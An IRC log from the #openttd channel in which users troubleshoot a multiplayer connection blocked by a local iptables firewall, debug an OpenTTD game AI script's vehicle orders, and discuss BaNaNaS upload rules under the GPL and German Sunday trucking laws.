BlackXanthus contempaltes giving up with this AI 21:07:13 <BlackXanthus> it doesn't seem to follow logic 21:07:34 <TruePikachu> AI is an abbrivation for "Artificial Stupidity" 21:07:41 <TruePikachu> I came up with that yesterday 21:08:09 <TruePikachu> Of course it doesn't follow logic 21:08:13 <BlackXanthus> TruePikachu : I can see that sticking. I have stations, I want to build a bus, then give it orders. Even when I accidentally create a bus, the orders don't get added. It's really frustrating. 21:08:30 <BlackXanthus> TruePikachu : check your /etc/hosts file, see what yoru computer thinks it's name is. 21:08:40 *** rhaeder [~quix0r@188.109.246.175] has joined #openttd 21:09:07 <TruePikachu> BlackXanthus: What the...(for the first message) 21:09:09 *** fmauneko is now known as fmauNeko 21:09:57 <BlackXanthus> TruePikachu : I'm building a simple Bus AI. I've got as far as building stations. I can't get it to reliably build a bus (it keeps building trucks). When it does build a bus (more by fluke), the orders (ie. Visit all the stations I have) don't work 21:10:16 <TruePikachu> I've already tried. 192,168,0,255 wLAN 21:10:31 <BlackXanthus> TruePikachu: huh? 21:10:51 <TruePikachu> *I meant 250, not 255 21:11:04 <BlackXanthus> TruePikachu : what are you trying to do? that might be more helpful? 21:11:39 <TruePikachu> I did the assignment so that Ping would have the replys address from wLAN that hosts are not availible, when they are down 21:12:00 <TruePikachu> Normally, it does it from 192 168 0 250 21:12:25 <TruePikachu> I'll try commenting out that line 21:13:02 <TruePikachu> I just started gVIM: _IceTransSocketUNIXConnect: Cannot connect to non-local host cDusto.CricketPG.com 21:13:08 *** Jhs [~Jhs4@188.113.85.20] has joined #openttd 21:13:36 <BlackXanthus> http://pastebin.com/3A2zxGGr 21:13:46 <BlackXanthus> a paste-bin of the section causing one of the problems 21:14:02 <TruePikachu> @ who? 21:14:51 <BlackXanthus> http://pastebin.com/1Jy8HXb9 21:14:55 <BlackXanthus> and another one 21:15:02 <TruePikachu> @ WHO??? 21:15:15 <BlackXanthus> TruePikachu : you have really screwed your own DNS 21:15:33 <BlackXanthus> are you running DNS? or just from the host file 21:16:00 <TruePikachu> I have the line commented out. I have 3 DNS servers, all of which I have read-only, and I'm not listed on any of them 21:16:26 <BlackXanthus> if you do nslookup cDusto.CricketPG.com 21:16:29 <BlackXanthus> what do you get? 21:16:39 <TruePikachu> nslookup cDusto.CricketPG.com 21:16:47 <TruePikachu> Srry, wrong tab :P 21:16:54 <BlackXanthus> =) 21:17:13 <TruePikachu> Server: 209.18.47.61 21:17:13 <TruePikachu> Address: 209.18.47.61#53 21:17:14 <TruePikachu> ** server can't find cDusto.CricketPG.com: NXDOMAIN 21:17:28 <BlackXanthus> !?! 21:17:42 <TruePikachu> Like I said, it is just a made up hostname 21:17:58 <BlackXanthus> indeed it has 21:17:59 <TruePikachu> I don't have any real hostname 21:18:21 <BlackXanthus> it's the name you get back when you type "hostname" right? 21:18:21 <TruePikachu> At least, not one I am aware of... 21:18:52 <TruePikachu> hostname; returns cDusto.CricketPG.com (because I changed it back because of that one error from starting gVIM) 21:19:24 <TruePikachu> When installing Linux, I had to specify one to use 21:20:21 <BlackXanthus> is that the one you specified when installing linux? 21:20:25 <TruePikachu> Yes 21:20:28 <BlackXanthus> right... 21:20:38 <BlackXanthus> okay, so ti's doing what it's meant to. 21:20:45 <BlackXanthus> the problem is that openTTD is not seeing it? 21:21:09 <TruePikachu> It seems, as OpenTTD is apparently trying to access "":0 21:21:43 <TruePikachu> If you want, I can post the tcpdump ASCII entry of the attempted 'lookup' 21:22:42 <BlackXanthus> yes.. that's the address of the X-Server, that's what it's meant to do. 21:22:57 <BlackXanthus> is it a problem starting openTTD? 21:23:31 *** Devroush [~dennis@94-225-67-91.access.telenet.be] has quit [Ping timeout: 480 seconds] 21:24:21 <BlackXanthus> Anyone got any ideas why AIOrder.AreOrderFlagsValid would fail with invalid, even thoughthe station is valid? 21:25:15 <TruePikachu> No, the overall error is that I cannot do any multiplayer. I have deduced it to be a problem with a local computer configuration as the forked output from OPenTTD says that hostname "" port 0 is not a valid IP4 or IP6 address, or at least it says something around those lines 21:26:25 <Forked> stop saying forked :p 21:26:32 <TruePikachu> lol 21:27:19 <TruePikachu> lol, my mom literally just asked if I have any forks 21:28:01 <Xrufuian> m dfk fvo fkvmdk jgivjir rbvh48bmr0b 21:28:07 <TruePikachu> ? 21:28:20 <Xrufuian> Sorry. Wrong window. 21:28:24 <TruePikachu> ... 21:28:43 <Xrufuian> I'm angry at cmd.exe... 21:28:47 <BlackXanthus> you trying to connect locally? 21:28:54 <TruePikachu> ? 21:28:55 * BlackXanthus is angry at openTTD AI 21:29:04 <BlackXanthus> TruePikachu : are you trying to play with yourself? 21:29:13 <BlackXanthus> TruePikachu : umm. I mean.. run two games on one machine? 21:29:17 <TruePikachu> No, I'm trying to play with Xrufuian 21:29:36 <BlackXanthus> hmm 21:29:45 <glx> advertised server ? 21:30:06 <BlackXanthus> the problem, then, seems to be not that it's having trouble connecting locally, but that it can't connect remotely? 21:30:11 <BlackXanthus> Does it start in single-player mode? 21:30:39 <TruePikachu> At first, yes. OpenTTD's "spooned" output said that the advertisment server isn't replying. Yes, OTTD works single-player 21:31:24 <TruePikachu> (At first, yes @ glx) 21:32:15 <TruePikachu> glx, your username seems familiar. Have you been to #tcpa at any time? 21:32:15 *** Progman [~progman@p57A1BC77.dip.t-dialin.net] has quit [Remote host closed the connection] 21:32:24 <glx> no 21:32:34 <BlackXanthus> TruePikachu : then the problem is most probably then, with your network 21:32:35 <TruePikachu> not on this server 21:32:45 <glx> if it's advertised, first check is servers.openttd.org 21:32:50 <TruePikachu> BlackXanthus: I am trying to fix the problem 21:32:58 <glx> if you don't see it there, noone will see it 21:34:21 <TruePikachu> Not on the list. 21:34:38 <glx> then the problem is on your end ;) 21:34:41 <BlackXanthus> TruePikachu : tried turning your local firewall off? 21:34:53 <TruePikachu> I know, and I don't have a firewall script going 21:35:23 <TruePikachu> @ports 21:35:23 <DorpsGek> TruePikachu: OpenTTD uses TCP and UDP port 3979 for server <-> client communication, UDP port 3978 for masterserver (advertise) communication (outbound), and TCP port 3978 for content service, a.k.a. BaNaNaS (outbound) 21:36:22 <TruePikachu> Port 3979 is closed on localhost and filtered on 0.250 21:36:48 <glx> when you start a server it "registers" to master server via port 3978, then the master servers tries to connect to your server on port 3979 (or the port you set in the config) 21:38:02 <BlackXanthus> that may be your problem 21:38:27 <TruePikachu> BlackXanthus: I know... 21:38:39 <TruePikachu> I just removed all serber binds. 21:38:42 <TruePikachu> *server 21:39:21 <TruePikachu> Now 127,0,0,1 is opened, 192,168,0,250 is still filtered 21:39:37 <TruePikachu> This may be because the server was bound to 250 21:39:38 <Rubidium> so there is a firewall running 21:39:50 <TruePikachu> I don't know where, though 21:40:08 <Rubidium> neither do I (I even don't know what OS you're running) 21:40:20 <Rubidium> or rather, what distro 21:41:06 <TruePikachu> Here is the process forest: 21:41:08 <TruePikachu> http://pastebin.com/DDbRPLri 21:41:31 <Rubidium> that doesn't tell us much 21:41:33 <TruePikachu> Like I said before, this is VectorLinux, but IDK what version number 21:41:53 <Rubidium> never heard of that distro 21:42:13 <TruePikachu> It is a slackware variant 21:42:18 <Rubidium> what is the output of iptables -L and iptables -L -t nat ? 21:43:12 <TruePikachu> http://pastebin.com/2qtNmhUZ 21:43:14 <BlackXanthus> anyone know anyting about AI orders? 21:43:30 <TruePikachu> BlackXanthus: They are stupid 21:43:43 <Rubidium> TruePikachu: there's your firewall 21:44:15 <BlackXanthus> TruePikachu : indeed. But could someone give me a little help with them? I can't seem to add any orders to a Bus. It the check for the OrderFlag fails, but I don't know why. 21:44:18 <TruePikachu> Okay. I thought it was like a firewall script. 21:44:33 <TruePikachu> Rubidium: How can I get this fixed? 21:44:39 <Rubidium> try iptables -P INPUT ACCEPT 21:45:17 <BlackXanthus> . /etc/init.d/iptables stop 21:45:39 <TruePikachu> Why the dot? 21:45:45 <Rubidium> BlackXanthus: that would definitely not work for me 21:45:49 <BlackXanthus> because if I just typed / it thought it was an editor command 21:45:57 <BlackXanthus> I mean. IRC command. 21:46:04 <BlackXanthus> Rubidium : depends on your distro =) 21:46:06 <TruePikachu> Why not a space 21:46:08 <Rubidium> /etc/init.d/iptables stop 21:46:17 <Rubidium> see... it "just" works 21:46:18 <TruePikachu> Tried. Not found... 21:46:27 <TruePikachu> I'll look myself 21:46:36 <Rubidium> TruePikachu: but just try my command 21:46:45 <BlackXanthus> TruePikachu : because this IRC client ignores leading white-space (bug-report filed, and the programmer is working on it(ie, me ;) )) 21:47:23 <TruePikachu> closest matched directory is /etc/rc.d/rc.init, but there is no iptables there 21:47:47 <TruePikachu> *init.d 21:47:57 <BlackXanthus> TruePikachu : try Rubidium's command 21:48:07 <TruePikachu> I tried. 21:48:09 <BlackXanthus> TruePikachu : that will simply open up the firewall (rather than turning it off) 21:48:31 <TruePikachu> bash: /etc/init.d: No such file or directory 21:48:43 <Rubidium> oh... not that one... 21:48:48 <Rubidium> 23:44 <@Rubidium> try iptables -P INPUT ACCEPT 21:48:54 <Rubidium> ^ that one ^ 21:49:05 <BlackXanthus> iptables -F 21:49:15 <BlackXanthus> (which should empty all rules from it) 21:49:28 <Rubidium> BlackXanthus: but not change the default rule, which is drop 21:49:31 * TruePikachu hates BlackXanthus for giving the wrong command 21:49:45 <Rubidium> I've made my remote server unreachable by doing that once... 21:49:50 <BlackXanthus> http://www.linuxquestions.org/questions/slackware-14/how-to-stop-iptables-service-470011/ 21:49:57 <TruePikachu> Port opened 21:50:03 <TruePikachu> Xrufuian: Try to connect 21:50:11 <BlackXanthus> TruePikachu : ffft. It works on sensible distros (you know, like RedHat/Fedora) 21:50:42 <TruePikachu> Like I said, this box was designed for Win98, so I'm running a slackware variant on it 21:50:53 <BlackXanthus> TruePikachu : =p 21:51:14 <BlackXanthus> okay, last try, does anyone know anything about openTTD AI, in particulary, adding orders? 21:51:20 <TruePikachu> Why the huge nostrils? 21:51:26 <Rubidium> I rather avoid RedHat (and community RedHat) 21:51:32 <BlackXanthus> TruePikachu : it's a tounge 21:51:33 <Rubidium> BlackXanthus: what is your exact problem? 21:51:36 <BlackXanthus> Rubidium : I got qualifications in it 21:51:55 <TruePikachu> ... (: =P) -> : eyes, = nose/nostrils, p mouth 21:52:22 <Xrufuian> I Rejoice! It worked! :D 21:52:25 <TruePikachu> Yay, it works!!! 21:52:29 <BlackXanthus> Rubidium : I can create a bus (mostly by fluke, but that's another problem). I want to add orders to it (currently, just looping through all the stations I have, and adding them). However, when I try it, it gives an invalid flag error 21:53:09 <BlackXanthus> http://pastebin.com/HMmizsHm 21:53:55 <BlackXanthus> TruePikachu : you can coonect? 21:53:59 <BlackXanthus> connect, even? 21:54:34 <Xrufuian> I could. And then it just dropped. :| 21:54:59 <BlackXanthus> Xrufuian : then Ihave no idea outside of that.. unless you should also check your firewall. 21:55:02 <TruePikachu> g 21:55:02 <TruePikachu> It works!!! 21:55:02 <TruePikachu> Of course, my interface went down 21:55:02 *** TruePikachu [~chris@cpe-67-49-42-88.socal.res.rr.com] has left #openttd [] 21:55:06 <Rubidium> BlackXanthus: the station list returns station IDs, the order needs the tile index. You need to convert the station ID by AIStation.GetLocation(station_id) before passing it to appendOrder 21:55:14 <BlackXanthus> now.. about my problem? 21:55:14 *** TruePikachu [~chris@cpe-67-49-42-88.socal.res.rr.com] has joined #openttd 21:55:32 <BlackXanthus> Rubidium : oh right =) 21:55:46 <TruePikachu> Of course, one terminal window had "ifconfig ra0 down " typed in, and I just so happened to type "exit <ENTER>" into it 21:55:53 <Rubidium> and for the bus building you've probably got the same issue 21:56:10 *** TruePikachu [~chris@cpe-67-49-42-88.socal.res.rr.com] has quit [] 21:56:26 <Rubidium> although... maybe depots are already tile indices 21:56:36 <Rubidium> yes... they are 21:56:47 <Rubidium> then maybe the bus you're trying to build isn't available yet or something 21:56:59 <BlackXanthus> the bus is chugging around quite happily 21:57:16 <BlackXanthus> (though I cheated with that) 21:57:27 *** Xrufuian [~Xrufuian@pool-98-119-100-103.lsanca.btas.verizon.net] has quit [Quit: I will return, someday, for non-multiplayer advice.] 21:57:40 <BlackXanthus> hmm.. I've added AIStation.GetLocation(station) to the code, getting the same error 21:57:56 <Rubidium> paste the new piece of code then 21:58:42 <BlackXanthus> k... 21:59:59 <BlackXanthus> http://pastebin.com/VmVB86MN 22:02:36 <Rubidium> looks okay (i.e. not obviously wrong); are you sure it's running the new code? 22:02:44 *** snc [rdlBNC@178.32.93.49] has joined #openttd 22:03:02 <BlackXanthus> how can I tell? 22:03:18 <Rubidium> just add some new logging info 22:03:30 <BlackXanthus> yep, seems to be running the new code 22:03:36 <Rubidium> are you sure you've built a bus? And not, by accident, a truck? 22:04:09 <Rubidium> and what's the exact error you're getting? 22:04:14 *** welshdragon [rdlBNC@178.32.93.53] has joined #openttd 22:04:29 <Rubidium> as I can't quite find the "invalid flag error" 22:04:45 <Rubidium> and which version of OpenTTD are you using? 22:05:00 <BlackXanthus> umm.. 22:05:16 <BlackXanthus> 101 22:05:17 <BlackXanthus> apparently 22:05:36 <BlackXanthus> 1.0.1 to be exact 22:05:37 *** Wizzleby [~wizzleby@pool-108-2-26-106.phlapa.east.verizon.net] has quit [Remote host closed the connection] 22:07:32 *** Zahl_ [~Zahl@2a01:198:5c1:0:512f:5baf:495f:174c] has joined #openttd 22:07:32 *** Zahl [~Zahl@2a01:198:5c1:0:512f:5baf:495f:174c] has quit [Remote host closed the connection] 22:07:32 *** Zahl_ is now known as Zahl 22:08:37 <BlackXanthus> ahh well 22:08:56 <BlackXanthus> I guess writing AI's is something I'll have to leave for another day. 22:09:27 <TomyLobo> how is stuff added to bananas? 22:09:41 <BlackXanthus> g'night all 22:09:43 <BlackXanthus> TTFN 22:09:49 <BlackXanthus> (or later, because it's the kind of thign that bugs me 22:10:01 <Rubidium> TomyLobo: by becoming a manager, but *please* do not add stuff that isn't created by you 22:10:24 *** BlackXanthus [~Berk@87.113.98.53.plusnet.pte-ag2.dyn.plus.net] has quit [Remote host closed the connection] 22:10:27 <TomyLobo> i keep sending around this link to a grf i use ^^ 22:10:53 <Rubidium> then don't use that GRF 22:11:04 <TomyLobo> why not? it's good 22:11:10 <Rubidium> apparantly the author has decided it shouldn't be used easily with OpenTTD 22:11:20 *** devilsadvocate [~devilsadv@202.3.77.203] has quit [Ping timeout: 480 seconds] 22:11:28 <TomyLobo> or maybe it's just old ^^ 22:11:31 <Rubidium> TomyLobo: because you have to keep sending that link to that NewGRF around 22:11:35 <Rubidium> TomyLobo: dbset? 22:11:43 <TomyLobo> germanrv 22:12:13 <Rubidium> too bad for you 22:13:03 <TomyLobo> no nicknames in the credits so i cant really find out if it's one of you ^^ 22:13:15 <Rubidium> probably not 22:13:16 <Eddi|zuHause> germanrv is from uwe 22:13:48 * andythenorth ponders TOS for bananas 22:13:55 <Rubidium> although I see no mention of bananas in the thread 22:14:16 <Rubidium> so... you might just ask (though you might want to check whether my research is correct first) 22:14:48 <andythenorth> hmmm....."You will only upload content of which you are (one of) the original author(s)." 22:14:51 <Eddi|zuHause> hm... i open the thread, and the first thing that i see is a classic MB 22:14:55 <Eddi|zuHause> ... by MB 22:15:03 <andythenorth> linky? 22:15:28 <Eddi|zuHause> it's in german 22:15:37 <andythenorth> Eddi|zuHause: nvm then. my german is poor 22:15:40 * andythenorth wonders what an 'original author' is in case of GPL sets. Copyright holder? 22:15:53 <TomyLobo> can you link me to it? 22:16:05 <Eddi|zuHause> author is an author. the person who actually wrote it... 22:16:21 <Eddi|zuHause> copyright holder need not be an author 22:16:51 <andythenorth> no 22:16:53 <TomyLobo> gpl doesnt mean it's PD 22:16:58 <andythenorth> anyway, so GPL confers right of distribution for anyone receiving a copy of the programme 22:17:10 <andythenorth> but bananas TOS limits that 22:17:19 <andythenorth> it's not a problem, just interesting 22:17:41 <andythenorth> there's no conflict, but it means bananas is weaker in terms of freedom than GPL 22:17:55 <TomyLobo> andythenorth you have no right to force someone else to distribute it 22:17:58 <Eddi|zuHause> yes, a person receiving a copy (bananas server) may refuse to want to receive it. that's not against the license 22:18:14 <Eddi|zuHause> the license does not allow you to shove it down someone's throat 22:18:20 <andythenorth> :) 22:18:44 <Rubidium> you still have the freedom to give it to all OpenTTD users... it's only a slight bit more difficult 22:18:51 <andythenorth> my point was that *I* can distribute any GPL grf, but not using bananas 22:19:08 <Rubidium> yes 22:19:24 <andythenorth> so what happens if I make a trivial mod and re-encode. I'm then one of the authors. 22:19:36 <andythenorth> can I put that on bananas (in theory)? 22:19:46 <TomyLobo> and you have a different grf id i guess :P 22:19:47 <Rubidium> probably 22:19:51 <TomyLobo> which makes it incompatible 22:20:27 <Eddi|zuHause> in theory, i know someone who would be allowed to upload it... 22:20:48 <Rubidium> but... show me some NewGRF that is GPL and where the author refuses to upload it 22:20:57 <Rubidium> Eddi|zuHause: Chris? 22:21:13 <Rubidium> Dale? Josef? 22:21:15 *** Brianetta [~brian@188-220-91-30.zone11.bethere.co.uk] has joined #openttd 22:21:19 <Eddi|zuHause> Rubidium: no, someone listed in the contributors list of germanrv 22:21:53 *** Dreamxtreme [Dreamxtrem@92.8.7.42] has quit [Read error: Connection reset by peer] 22:21:59 <TomyLobo> would be nice if he uploaded it :) 22:23:37 * andythenorth stops playing gpl mind-games and goes to bed 22:23:42 <andythenorth> good night :) 22:24:07 <Rubidium> Eddi|zuHause: your brother or something family-ish? 22:24:21 <Eddi|zuHause> pretty much ;) 22:24:29 *** Netsplit synthon.oftc.net <-> oxygen.oftc.net quits: Eoin, +tokai 22:26:08 <Rubidium> it actually looks kinda unfinished if the "current status" is still current 22:26:25 <Eddi|zuHause> well, "unfinished" is mainly the trucks 22:26:45 <Rubidium> so it's a "sunday" set :) 22:26:49 *** deghosty [~s@69-196-134-158.dsl.teksavvy.com] has joined #openttd 22:26:54 <Eddi|zuHause> there are some, but they use original TTD graphics 22:27:04 <Eddi|zuHause> a what? 22:27:14 *** Netsplit over, joins: Eoin 22:27:28 *** Dreamxtreme [Dreamxtrem@92.8.7.42] has joined #openttd 22:27:38 <Rubidium> isn't it somewhat forbidden to drive with trucks in Germany? 22:27:43 <Rubidium> (on sundays) 22:28:10 <Eddi|zuHause> unless they carry refrigerated goods 22:28:33 *** tokai [~tokai@port-92-195-87-13.dynamic.qsc.de] has joined #openttd 22:28:36 *** mode/#openttd [+v tokai] by ChanServ 22:28:40 <Rubidium> Eddi|zuHause: or are running on the L410 22:29:10 <__ln__> so refrigerated furniture for example is acceptable 22:29:16 <glx> same in France 22:29:49 <Eddi|zuHause> __ln__: good luck arguing that to the police :) 22:31:47 <Eddi|zuHause> hm... i just bumped a half year old topic... 22:32:23 <Eddi|zuHause> well, the topic is 4 years old, but half a year since the last post 22:34:12 <Rubidium> Eddi|zuHause: you'll be flamed! :) 22:35:24 <Rubidium> and why doesn't the German wikipedia have a text about the L410? 22:35:48 <Eddi|zuHause> what's the L410? 22:35:57 <Rubidium> a road in Germany 22:36:02 <Rubidium> where trucks may drive on sunday 22:36:19 <Rubidium> near Selfkant 22:36:53 <Eddi|zuHause> L usually denotes a LandstraÃe, so L410 would be ambiguous because every Land can have a different L410 22:37:10 <Eddi|zuHause> except in Saxony, where it's called StaatsstraÃe 22:37:18 *** ^Spike^ [~spike@d200003.upc-d.chello.nl] has quit [Ping timeout: 480 seconds] 22:38:54 *** ^Spike^ [~spike@d200003.upc-d.chello.nl] has joined #openttd 22:39:58 *** Kurimus [Kurimus@dsl-tkubrasgw1-fe34dc00-202.dhcp.inet.fi] has quit [] 22:45:19 *** devilsadvocate [~devilsadv@202.3.77.44] has joined #openttd 22:45:27 <Eddi|zuHause> Rubidium: that's the most elaborate portion i could find: http://de.wikipedia.org/wiki/Selfkant#Geschichte 22:46:29 <Rubidium> yeah 22:49:35 *** De_Ghosty [~s@69-196-134-158.dsl.teksavvy.com] has quit [Ping timeout: 480 seconds] 22:50:05 *** Zahl_ [~Zahl@frbg-d9be359f.pool.mediaWays.net] has joined #openttd 22:50:21 *** De_Ghosty [~s@69-196-134-158.dsl.teksavvy.com] has joined #openttd 22:51:14 *** deghosty [~s@69-196-134-158.dsl.teksavvy.com] has quit [Ping timeout: 480 seconds] 22:52:44 *** pugi [~pugi@p4FCC4879.dip.t-dialin.net] has quit [Quit: ALL YOUR BASE ARE BELONG TO US!] 22:56:16 *** KouDy [~KouDy@rb5ck203.net.upc.cz] has quit [Ping timeout: 480 seconds] 22:56:22 *** Zahl [~Zahl@2a01:198:5c1:0:512f:5baf:495f:174c] has quit [Ping timeout: 480 seconds] 22:56:22 *** Zahl_ is now known as Zahl 22:56:55 *** devilsadvocate [~devilsadv@202.3.77.44] has quit [Ping timeout: 480 seconds] 22:58:22 *** TomyLobo [~foo@port-212-202-171-176.dynamic.qsc.de] has quit [Quit: Standby mode...] 22:58:29 *** game-report [~chatzilla@178.34.191.138] has joined #openttd 22:59:43 *** ^Spike^ [~spike@d200003.upc-d.chello.nl] has quit [Ping timeout: 480 seconds] 23:01:59 *** fmauNeko [~fmauneko@88.166.241.226] has quit [Quit: fmauNeko] 23:06:49 <game-report> http://www.chrissawyergames.com/feature1a.htm 23:07:16 *** game-report is now known as EggXplosioN 23:08:30 <EggXplosioN> TT(D) use graphics, baased (sometimes, very loosely) on Glasgow buildings. 23:11:15 <EggXplosioN> real counterparts of many TT(D) buildings are lost/unknown, but one of the tiny houses TT(D) is based on the house CS lived in. (in the "features" list, not shown on the sub-page I posted a link to) 23:11:48 *** Cybertinus [~Cybertinu@tunnel3304.ipv6.xs4all.nl] has quit [Remote host closed the connection] 23:12:26 *** Wizzleby [~wizzleby@pool-108-2-26-106.phlapa.east.verizon.net] has joined #openttd 23:13:33 *** EggXplosioN is now known as TheStupidOne 23:13:46 *** KritiK [~Maxim@95-26-255-74.broadband.corbina.ru] has quit [Quit: Leaving] 23:15:02 * TheStupidOne explodes 23:20:57 <Eddi|zuHause> Rubidium: do you have an idea how to +q with non-meaningful hostmask, dynamic ip and ever changing set of nicks? 23:31:03 <SmatZ> TheStupidOne: what's your point? 23:31:40 <Eddi|zuHause> SmatZ: we have been wondering that for the past three days. never made any sense 23:32:02 *** Coco-Banana-Man [~Stephan.D@p5B2DBF65.dip.t-dialin.net] has quit [Quit: Regel Nr. 1: Jeder hört auf mein Kommando! - Regel Nr. 2: Jeder bleibt auf dem Weg! - Regel Nr. 3: ... ... Der, der blÀht, als hinterster geht!] 23:32:04 <SmatZ> Eddi|zuHause: oh :( 23:49:37 <Narigo> I spent some money to have a statue for me, but I can't find it :/ 23:53:20 <SmatZ> :) 23:53:37 <SmatZ> Narigo: ctrl+x, make town buildings invisible -> your statue will stay wisible 23:53:42 <SmatZ> (it's "unmovable") 23:56:59 *** TheStupidOne [~chatzilla@178.34.191.138] has quit [Quit: ChatZilla 0.9.86 [Firefox 3.6.3/20100401080539]] 23:58:28 *** KenjiE20 [~KenjiE20@92.18.5.195] has quit [Quit: WeeChat 0.3.2] 23:59:22 <Eddi|zuHause> it's usually near the town center